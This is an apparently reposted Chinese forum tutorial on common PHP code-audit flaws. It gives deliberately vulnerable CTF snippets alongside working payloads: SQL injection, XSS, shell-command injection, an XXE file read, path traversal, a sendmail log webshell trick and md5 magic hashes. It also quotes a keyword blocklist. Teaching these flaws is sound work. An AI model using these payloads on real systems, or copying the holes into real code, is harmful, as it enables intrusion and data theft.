安全矩阵

 找回密码
 立即注册
搜索
查看: 4597|回复: 0

PHP代码审计常见漏洞点

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-8-1 21:54:42 | 显示全部楼层 |阅读模式
原文链接:PHP代码审计常见漏洞点

关于CMS和CTF中的PHP代码审计部分常见的函数缺陷



in_array函数缺陷
  1. class Challenge {
  2.   const UPLOAD_DIRECTORY = './solutions/';
  3.   private $file;
  4.   private $whitelist;

  5.   public function __construct($file) {
  6.     $this->file = $file;
  7.     $this->whitelist = range(1, 24);
  8.   }

  9.   public function __destruct() {
  10.     if (in_array($this->file['name'], $this->whitelist)) {
  11.       move_uploaded_file(
  12.         $this->file['tmp_name'],
  13.         self::UPLOAD_DIRECTORY . $this->file['name']
  14.       );
  15.     }
  16.   }
  17. }

  18. $challenge = new Challenge($_FILES['solution']);
复制代码
我们要注意到的漏洞位置是

  1. (1) $this->whitelist = range(1, 24);

  2. (2) if (in_array($this->file['name'], $this->whitelist)) {
  3.       move_uploaded_file(
  4.         $this->file['tmp_name'],
  5.         self::UPLOAD_DIRECTORY . $this->file['name']
  6.       );
复制代码

(1)这里判断文件名是否存在于1~24之间
(2)检测上传的文件名是否通过$this->whitelist = range(1, 24);的检测
我们具体看一下in_array()函数的解析
  1. 定义和用法
  2. in_array() 函数搜索数组中是否存在指定的值

  3. 语法
  4. bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

  5. 参数        描述
  6. needle            必需。规定要在数组搜索的值。
  7. haystack        必需。规定要搜索的数组。
  8. strict            可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。

  9. 返回值:        如果在数组中找到值则返回 TRUE,否则返回 FALSE。
复制代码

这里因为使用了in_array函数,但是并没有使用函数的第三个参数,也就是说没有对两个变量的类型进行检测,所以如果我们上传文件 7shell.php,会被转化为数字7,导致通过检测,成功上传木马文件
CTF题型
  1. //index.php
  2. <?php
  3. include 'config.php';
  4. $conn = new mysqli($servername, $username, $password, $dbname);
  5. if ($conn->connect_error) {
  6.     die("连接失败: ");
  7. }

  8. $sql = "SELECT COUNT(*) FROM users";
  9. $whitelist = array();
  10. $result = $conn->query($sql);
  11. if($result->num_rows > 0){
  12.     $row = $result->fetch_assoc();
  13.     $whitelist = range(1, $row['COUNT(*)']);
  14. }

  15. $id = stop_hack($_GET['id']);
  16. $sql = "SELECT * FROM users WHERE id=$id";

  17. if (!in_array($id, $whitelist)) {
  18.     die("id $id is not in whitelist.");
  19. }

  20. $result = $conn->query($sql);
  21. if($result->num_rows > 0){
  22.     $row = $result->fetch_assoc();
  23.     echo "<center><table border="1">";
  24.     foreach ($row as $key => $value) {
  25.         echo "<tr><td><center>$key</center></td><br>";
  26.         echo "<td><center>$value</center></td></tr><br>";
  27.     }
  28.     echo "</table></center>";
  29. }
  30. else{
  31.     die($conn->error);
  32. }

  33. ?>
复制代码
  1. //config.php
  2. <?php  
  3. $servername = "localhost";
  4. $username = "fire";
  5. $password = "fire";
  6. $dbname = "day1";

  7. function stop_hack($value){
  8.     $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
  9.     $back_list = explode("|",$pattern);
  10.     foreach($back_list as $hack){
  11.         if(preg_match("/$hack/i", $value))
  12.             die("$hack detected!");
  13.     }
  14.     return $value;
  15. }
复制代码
  1. # 搭建CTF环境使用的sql语句
  2. create database day1;
  3. use day1;
  4. create table users (
  5. id int(6) unsigned auto_increment primary key,
  6. name varchar(20) not null,
  7. email varchar(30) not null,
  8. salary int(8) unsigned not null );

  9. INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
  10. INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
  11. INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
  12. INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
  13. INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);

  14. create table flag(flag varchar(30) not null);
  15. INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
复制代码
我们主要看这个函数
  1. function stop_hack($value){
  2.     $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
  3.     $back_list = explode("|",$pattern);
  4.     foreach($back_list as $hack){
  5.         if(preg_match("/$hack/i", $value))
  6.             die("$hack detected!");
  7.     }
  8.     return $value;
  9. }
复制代码

这里使用stop_hack过滤一些危险的函数
看到给一个GET请求可控
  1. $id = stop_hack($_GET['id']);
  2. $sql = "SELECT * FROM users WHERE id=$id";

  3. if (!in_array($id, $whitelist)) {
  4.     die("id $id is not in whitelist.");
  5. }
复制代码

通过GET的id,通过stop_hack过滤后拼接在sql语句中查询
这里通过报错注入即可得到Flag
and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
  1. 漏洞原因:
  2. 使用不安全的in_array,并且没有开启第三个检测参数类型,导致通过检测,形成任意文件上传
复制代码


filter_var函数缺陷
  1. // composer require "twig/twig"
  2. require 'vendor/autoload.php';

  3. class Template {
  4.   private $twig;

  5.   public function __construct() {
  6.     $indexTemplate = '<img src="https://loremflickr.com/320/240">' .
  7.       '<a href>Next slide »</a>';

  8.     // Default twig setup, simulate loading
  9.     // index.html file from disk
  10.     $loader = new Twig\Loader\ArrayLoader([
  11.       'index.html' => $indexTemplate
  12.     ]);
  13.     $this->twig = new Twig\Environment($loader);
  14.   }

  15.   public function getNexSlideUrl() {
  16.     $nextSlide = $_GET['nextSlide'];
  17.     return filter_var($nextSlide, FILTER_VALIDATE_URL);
  18.   }

  19.   public function render() {
  20.     echo $this->twig->render(
  21.       'index.html',
  22.       ['link' => $this->getNexSlideUrl()]
  23.     );
  24.   }
  25. }

  26. (new Template())->render();
复制代码
这里是一段PHP的模板引擎Twig,使用的是escape和filter_var两个过滤方法
但是这里并不是绝对的安全,因为escape过滤器的本质是通过PHP内置函数htmlspecialchars实现的
我们看一下函数的定义

  1. 定义和用法
  2. htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
  3. 预定义的字符是:
  4. & (和号)成为 &
  5. " (双引号)成为 "
  6. ' (单引号)成为 '
  7. < (小于)成为 <
  8. > (大于)成为 >

  9. string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] )
  10. 提示:要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。
复制代码
例如
  1. <?php
  2. $str = "This is some <b>bold</b> text.";
  3. echo htmlspecialchars($str);
  4. ?>
复制代码

输出在页面上
  1. <!DOCTYPE html>
  2. <html>
  3. <body>
  4. This is some <b>bold</b> text.
  5. </body>
  6. </html>
复制代码

filter_var函数过滤nextSlide变量
并且使用FILTER_VALIDATE_URL过滤器判断是否为一个合法的url
  1. filter_var :(PHP 5 >= 5.2.0, PHP 7)

  2. 功能 :使用特定的过滤器过滤一个变量

  3. 定义 :mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
复制代码
这里就可以使用JavaScript的伪协议来xss攻击
  1. ?url=javascript://comment%250aalert(1)
复制代码

这里的//表示这注释掉后面的所有内容,但是对%进行编码后编为%25
当解码时会构造为%0a进行换行,alert函数变为第二行执行,点击标签即可触发xss
CTF题型
  1. // index.php
  2. <?php
  3. $url = $_GET['url'];
  4. if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
  5.     $site_info = parse_url($url);
  6.     if(preg_match('/sec-redclub.com$/',$site_info['host'])){
  7.         exec('curl "'.$site_info['host'].'"', $result);
  8.         echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
  9.               <center><textarea rows='20' cols='90'>";
  10.         echo implode(' ', $result);
  11.     }
  12.     else{
  13.         die("<center><h1>Error: Host not allowed</h1></center>");
  14.     }

  15. }
  16. else{
  17.     echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
  18.           <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
  19. }
复制代码
  1. // f1agi3hEre.php
  2. <?php  
  3. $flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
  4. ?>
复制代码
虽然进行了过滤,但是依然可以构造危险函数获取flag
  1. syst1m://"|ls;"sec-redclub.com
  2. syst1m://"|cat<f1agi3hEre.php;"sec-redclub.com
复制代码

== 与 === 弱类型绕过
  1. === 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

  2. == 在进行比较的时候,会先将字符串类型转化成相同,再比较

  3. (如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行)
复制代码
例如
  1. <?php
  2. var_dump("admin" == 0);  //true
  3. var_dump("1admin"== 1);  //true
  4. var_dump("admin1"== 1);  //false
  5. var_dump("admin1"== 0);  //true
  6. var_dump("0e123456"=="0e4456789"); //true
  7. ?>
复制代码

根据上面的可以看到
admin为字符型,与0进行比较时,强制转换类型为数字型,变成 0,导致返回True
同理1admin会变成1,而admin1则为0
"0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学计数法的数字,0的无论多少次方都是零,所以相等
  1. <?php
  2. $test=1 + "10.5";     //$test=11.5(float)
  3. $test=1+"-1.3e3";     //$test=-1299(float)
  4. $test=1+"bob-1.3e3";  //$test=1(int)
  5. $test=1+"2admin";     //$test=3(int)
  6. $test=1+"admin2";     //$test=1(int)
  7. ?>
复制代码

通过这里也可以更好的理解
CTF题型
md5(hash)弱类型绕过
  1. <?php
  2. if (isset($_GET['Username']) && isset($_GET['password'])) {
  3.     $logined = true;
  4.     $Username = $_GET['Username'];
  5.     $password = $_GET['password'];

  6.      if (!ctype_alpha($Username)) {$logined = false;}
  7.      if (!is_numeric($password) ) {$logined = false;}
  8.      if (md5($Username) != md5($password)) {$logined = false;}
  9.      if ($logined){
  10.     echo "successful";
  11.       }else{
  12.            echo "login failed!";
  13.         }
  14.     }
  15. ?>
复制代码

输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句
所以只要让md5后的值开头含有0e则会转换为0
  1. md5('240610708') ------> 0e462097431906509019562988736854
  2. md5('QNKCDZO')   ------> 0e830400451993494058024219903391
复制代码
md5('240610708') ==  md5('QNKCDZO')
这样即可绕过检测

  1. # 部分的MD5绕过方式
  2. QNKCDZO
  3. 0e830400451993494058024219903391

  4. s878926199a
  5. 0e545993274517709034328855841020
  6.   
  7. s155964671a
  8. 0e342768416822451524974117254469
  9.   
  10. s214587387a
  11. 0e848240448830537924465865611904
  12.   
  13. s214587387a
  14. 0e848240448830537924465865611904
  15.   
  16. s878926199a
  17. 0e545993274517709034328855841020
  18.   
  19. s1091221200a
  20. 0e940624217856561557816327384675
  21.   
  22. s1885207154a
  23. 0e509367213418206700842008763514
复制代码
json绕过
  1. <?php
  2. if (isset($_POST['message'])) {
  3.     $message = json_decode($_POST['message']);
  4.     $key ="*********";
  5.     if ($message->key == $key) {
  6.         echo "flag";
  7.     }
  8.     else {
  9.         echo "fail";
  10.     }
  11. }
  12. else{
  13.      echo "~~~~";
  14. }
  15. ?>
复制代码

这里同样也看到了 ==符号
不知道key的值,但是我们知道key为字符
所以绕过只需要 0=='admin'即可绕过
payload:
message={"key":0}
strcmp漏洞绕过 php -v <5.3
  1. <?php
  2.     $password="***************"
  3.      if(isset($_POST['password'])){

  4.         if (strcmp($_POST['password'], $password) == 0) {
  5.             echo "Right!!!login success";n
  6.             exit();
  7.         } else {
  8.             echo "Wrong password..";
  9.         }
  10. ?>
复制代码

strcmp是比较两个字符串,如果str1<str2 则返回<0 如果str1大于str2返回>0 如果两者相等 返回0
那我们只需要传入数组password[]=xxx就可以绕过了
MD5数组绕过
  1. <?
  2. include_once “flag.php”;
  3. ini_set(“display_errors”, 0);
  4. $str = strstr($_SERVER[‘REQUEST_URI’], ‘?’);
  5. $str = substr($str,1);
  6. $str = str_replace(‘key’,”,$str);
  7. parse_str($str);
  8. echo md5($key1);

  9. echo md5($key2);
  10. if(md5($key1) == md5($key2) && $key1 !== $key2){
  11. echo $flag.”取得flag”;
  12. }
  13. ?>
复制代码

md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。



实例化任意对象漏洞
  1. function __autoload($className) { //自动加载
  2.   include $className;
  3. }

  4. $controllerName = $_GET['c'];
  5. $data = $_GET['d'];  //获取get的c与d作为类名与参数

  6. if (class_exists($controllerName)) {
  7.   $controller = new $controllerName($data['t'], $data['v']);
  8.   $controller->render();
  9. } else {
  10.   echo 'There is no page with this name';
  11. }

  12. class HomeController {
  13.   private $template;
  14.   private $variables;

  15.   public function __construct($template, $variables) {
  16.     $this->template = $template;
  17.     $this->variables = $variables;
  18.   }

  19.   public function render() {
  20.     if ($this->variables['new']) {
  21.       echo 'controller rendering new response';
  22.     } else {
  23.       echo 'controller rendering old response';
  24.     }
  25.   }
  26. }
复制代码

  1. 如果存在如果程序存在 __autoload函数,class_exists函数就会自动调用方法
  2. payload : /?c=../../../../etc/passwd
复制代码
CTF题型
  1. <?php

  2. class NotFound{
  3.     function __construct()
  4.     {
  5.         die('404');
  6.     }
  7. }
  8. spl_autoload_register(
  9.     function ($class){
  10.         new NotFound();
  11.     }
  12. );

  13. $classname = isset($_GET['name']) ? $_GET['name'] : null;
  14. $param = isset($_GET['param']) ? $_GET['param'] : null;
  15. $param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
  16. if(class_exists($classname)){
  17.     $newclass = new $classname($param,$param2);
  18.     var_dump($newclass);
  19.     foreach ($newclass as $key=>$value)
  20.         echo $key.'=>'.$value.'<br>';
  21. }
复制代码
  1. 当class_exists时,调用autoload方法,但是autoload方法不存在,新建了一个spl_autoload_register方法,类似__autoload方法

  2. 列出文件(GlobIterator类)
  3. public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

  4. 第一个参数为要搜索的文件名,第二个参数为第二个参数为选择文件的哪个信息作为键名

  5. payload : http://127.0.0.1:8888/index.php?name=GlobIterator¶m=./*.php¶m2=0
复制代码

读取flag
  1. http://127.0.0.1:8888/index.php?name=SimpleXMLElement¶m=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E¶m2=2
复制代码

strpos使用不当引发漏洞
  1. class Login {
  2.   public function __construct($user, $pass) {
  3.     $this->loginViaXml($user, $pass);
  4.   }

  5.   public function loginViaXml($user, $pass) {
  6.     if (
  7.       (!strpos($user, '<') || !strpos($user, '>')) &&
  8.       (!strpos($pass, '<') || !strpos($pass, '>'))
  9.     ) {
  10.       $format = '<?xml version="1.0"?>' .
  11.         '<user v="%s"/><pass v="%s"/>';
  12.       $xml = sprintf($format, $user, $pass);
  13.       $xmlElement = new SimpleXMLElement($xml);
  14.       // Perform the actual login.
  15.       $this->login($xmlElement);
  16.     }
  17.   }
  18. }

  19. new Login($_POST['username'], $_POST['password']);
复制代码
  1. strpos定义
  2. 主要是用来查找字符在字符串中首次出现的位置。

  3. 查找代码中是否含有<与>的特殊符号,strpos在没找到指定字符时会返回flase,如果第一个字符找到就返回0,0的取反为1,就可以注入xml进行注入了

  4. 注入代码
  5. user=<"><injected-tag property="&pass=<injected-tag>
复制代码

escapeshellarg与escapeshellcmd使用不当
  1. scapeshellcmd: 除去字串中的特殊符号
  2. escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数
复制代码
  1. class Mailer {
  2.   private function sanitize($email) {
  3.     if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
  4.       return '';
  5.     }

  6.     return escapeshellarg($email);
  7.   }

  8.   public function send($data) {
  9.     if (!isset($data['to'])) {
  10.       $data['to'] = 'none@ripstech.com';
  11.     } else {
  12.       $data['to'] = $this->sanitize($data['to']);
  13.     }

  14.     if (!isset($data['from'])) {
  15.       $data['from'] = 'none@ripstech.com';
  16.     } else {
  17.       $data['from'] = $this->sanitize($data['from']);
  18.     }

  19.     if (!isset($data['subject'])) {
  20.       $data['subject'] = 'No Subject';
  21.     }

  22.     if (!isset($data['message'])) {
  23.       $data['message'] = '';
  24.     }

  25.     mail($data['to'], $data['subject'], $data['message'],
  26.       '', "-f" . $data['from']);
  27.   }
  28. }

  29. $mailer = new Mailer();
  30. $mailer->send($_POST);
复制代码
新建一个MAil类发送邮件(php内置寒湖是mail)
  1. bool mail (
  2.     string $to , 接收人
  3.     string $subject , 邮件标题
  4.     string $message [, 征文
  5.     string $additional_headers [, 额外头部
  6.     string $additional_parameters ]] 额外参数
  7. )
复制代码
(linux额外参数)
  1. -O option = value

  2. QueueDirectory = queuedir 选择队列消息

  3. -X logfile

  4. 这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

  5. -f from email

  6. 这个参数可以让我们指定我们发送邮件的邮箱地址。
复制代码
例如
  1. <?php
  2.         $to = 'alala@qq.com';
  3.         $subject = 'hello';
  4.         $message = '<?php phpinfo()?>';
  5.         $headers = 'CC: somebodyelse@qq.com'
  6.         $options = '-OQueueDirectory=/tmp -X /var/www/html/rce.php';
  7.         main($to, $#subject, $message, $headers, $options);
  8. ?>
复制代码
运行结果

  1. 17220 <<< To: Alice@example.com
  2. 17220 <<< Subject: Hello Alice!
  3. 17220 <<< X-PHP-Originating-Script: 0:test.php
  4. 17220 <<< CC: somebodyelse@example.com
  5. 17220 <<<
  6. 17220 <<< <?php phpinfo(); ?>
  7. 17220 <<< [EOF]
复制代码
  1. filter_var()问题(FILTER_VALIDATE_EMAIL)

  2. ilter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测

  3. 如 :”aaa’aaa”@example.com
复制代码

escapeshellcmd()和escapeshellarg()



这两个函数会造成特殊字符逃逸
  1. <?php
  2.         $param = ""'127.0.0.1' -v -d a=1";
  3.         $a = escapeshellcmd($param);
  4.         $b = escapeshellarg($a);
  5.         $cmd = "curl".$b;
  6.         var_dump($a)."\n";
  7.         var_dump($b)."\n";
  8.         var_dump($cmd)."\n";
  9.         system($cmd)
  10. ?>
复制代码
输出看一下
  1. strings(21) "127.0.0.1\' -v -d a=1"
  2. strings(26) "'127.0.0.1\'\'' -v -d a=1'"
  3. strings(30) "curl'127.0.0.1\'\'' -v -d a=1"
  4. sh: curl127.0.0.1\' -v -d a=1: comand nir found'
复制代码

逃逸过程分析分析一下
  1. 传入127.0.0.1' -v -d a=1,escapeshellarg首先进行转义,处理为'127.0.0.1'\'' -v -d a=1',接着escapeshellcmd处理,处理结果为'127.0.0.1'\'' -v -d a=1\',\ 被解释成了 \ 而不再是转义字符
复制代码

正则使用不当导致的路径穿越问题
  1. class TokenStorage {
  2.   public function performAction($action, $data) {
  3.     switch ($action) {
  4.       case 'create':
  5.         $this->createToken($data);
  6.         break;
  7.       case 'delete':
  8.         $this->clearToken($data);
  9.         break;
  10.       default:
  11.         throw new Exception('Unknown action');
  12.     }
  13.   }

  14.   public function createToken($seed) {
  15.     $token = md5($seed);
  16.     file_put_contents('/tmp/tokens/' . $token, '...data');
  17.   }

  18.   public function clearToken($token) {
  19.     $file = preg_replace("/[^a-z.-_]/", "", $token);
  20.     unlink('/tmp/tokens/' . $file);
  21.   }
  22. }

  23. $storage = new TokenStorage();
  24. $storage->performAction($_GET['action'], $_GET['data']);
复制代码

preg_replace(函数执行一个正则表达式的搜索和替换)


payload
$action =delete$data = ../../config.php
preg_replace函数之命令执行
  1. header("Content-Type: text/plain");

  2. function complexStrtolower($regex, $value) {
  3.   return preg_replace(
  4.     '/(' . $regex . ')/ei',
  5.     'strtolower("\\1")',
  6.     $value
  7.   );
  8. }

  9. foreach ($_GET as $regex => $value) {
  10.   echo complexStrtolower($regex, $value) . "\n";
  11. }
复制代码

preg_replace(函数执行一个正则表达式的搜索和替换)

  1. mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  2. $pattern 存在 /e 模式修正符,允许代码执行
  3. /e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行

  4. 将GET请求传过来的参数通过complexStrtolower函数执行,preg_replace函数存在e修正符
复制代码

payload
\S*=${phpinfo()}
研究文章(查看原文)











回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 04:29 , Processed in 0.014766 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表